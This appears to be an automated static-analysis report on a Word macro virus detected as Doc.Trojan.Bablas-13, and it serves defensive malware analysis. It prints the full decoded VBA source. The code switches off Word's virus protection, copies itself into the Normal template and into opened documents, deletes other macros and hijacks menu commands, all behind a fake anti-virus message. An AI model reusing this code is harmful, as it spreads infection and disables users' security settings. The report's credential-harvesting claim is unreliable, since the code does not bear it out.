Doc.Trojan.Bablas-13 — Office (OLE) malware analysis

Static analysis result for SHA-256 c0f3618e129c266a…

MALICIOUS

Office (OLE)

32.5 KB Created: 2001-04-23 21:58:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1d67646030f2c235a94729957f90dfbf SHA-1: ec8dd9186bfc1c0c8db703e47d62faf46d51ccd6 SHA-256: c0f3618e129c266a9abd0a7a0252a41f3895224136862ab4da6c755bb6af9381
256 Risk Score

Malware Insights

Doc.Trojan.Bablas-13 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Word document containing VBA macros, specifically triggering AutoOpen and Auto_Close events. The VBA code attempts to disable macro security features and presents a fake input box to the user, likely for credential harvesting. The presence of legacy WordBasic markers and the ClamAV detection name 'Doc.Trojan.Bablas-13' strongly suggest this family.

Heuristics 6

  • ClamAV: Doc.Trojan.Bablas-13 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-13
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
        Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4169 bytes
SHA-256: 742fa8fa4304d5c7eaf45c07786c6c22e5dc390a6e19093ba40bd48c934597f2
Detection
ClamAV: Doc.Trojan.Bablas-13
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FIQRI"
Sub PassAway()
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
    OpenMyMacro
End Sub
Sub ViewVbCode()
    ToolsMacro
End Sub

Sub FileTemplates()
    ToolsMacro
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    On Error Resume Next
    Dialogs(wdDialogToolsOptions).Show
    PassAway
End Sub

Sub OpenMyMacro()
    Msg = "MEMPERKENALKAN Anti Virus Macro FIQRI" & Chr(13)
    Msg = Msg & "untuk perlindungan file MS-WORD 97 dari virus yang mematikan" & Chr(13) & Chr(13)
    Msg = Msg & "dimodifikasi oleh SAPRUDIN [ M. Fiqri Aulia's Father ]" & Chr(13)
    Msg = Msg & "call -----> (0254)- 210061" & Chr(13) & Chr(13) & Chr(13)
    Msg = Msg & "SELAMAT MENGGUNAKAN"
    
    If InputBox(Msg, "M. FIQRI AULIA") = "NIDU" Then
       Application.ShowVisualBasicEditor = True
    End If
End Sub

Sub SaveDocument()
    Dim DocOk As Boolean
    DocOk = False
    On Error Resume Next
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "FIQRI" Then DocOk = True
        If Obj.Name <> "FIQRI" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Hapus " + Obj.Name + _
            " Macro pada " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If DocOk = False Then
        Application.OrganizerCopy Source:=NormalTemplate.FullName, _
        Destination:=ActiveDocument, Name:="FIQRI", Object:=wdOrganizerObjectProjectItems
    End If
End Sub

Sub SaveTemplate()
    Dim NorOk As Boolean
    NorOk = False
    On Error Resume Next
    For Each Obj In NormalTemplate.VBProject.VBComponents
        If Obj.Name = "FIQRI" Then NorOk = True
        If Obj.Name <> "FIQRI" And Obj.Name <> "ThisDocument" Then
            Application.StatusBar = "Hapus " + Obj.Name + _
            " Macro Pada Normal Template..."
            Application.OrganizerDelete Source:=NormalTemplate.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If NorOk = False Then
        Application.OrganizerCopy Source:=ActiveDocument.FullName, _
        Destination:=NormalTemplate.FullName, Name:="FIQRI", Object:=wdOrganizerObjectProjectItems
        Application.DisplayRecentFiles = False
        Application.DisplayRecentFiles = True
    End If
End Sub

Sub AutoExit()
    Application.Quit
End Sub

Sub FileOpen()
    WordBasic.DisableAutoMacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
        SaveDocument
        ActiveDocument.Save
    End If
    WordBasic.DisableAutoMacros False
End Sub

Sub AutoOpen()
    PassAway
    SaveTemplate
    On Error Resume Next
    NormalTemplate.Save
End Sub

Sub AutoClose()
    SaveDocument
End Sub

Sub FileClose()
    AutoClose
End Sub

Sub FileSave()
    If ActiveDocument.Saved = False Then
        SaveDocument
        SaveTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub KillMacro()
    C = Documents.Count
    If C <> 0 Then
        Normal.FIQRI.SaveDocument
        WordBasic.DisableAutoMacros False
        On Error Resume Next
        If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
    Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.FIQRI.KillMacro"
    End If
End Sub

Sub AutoExec()
    Passwrd = False
    WordBasic.DisableAutoMacros True
    PassAway
    Application.OnTime Now + TimeValue("00:00:07"), "Normal.FIQRI.KillMacro"
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.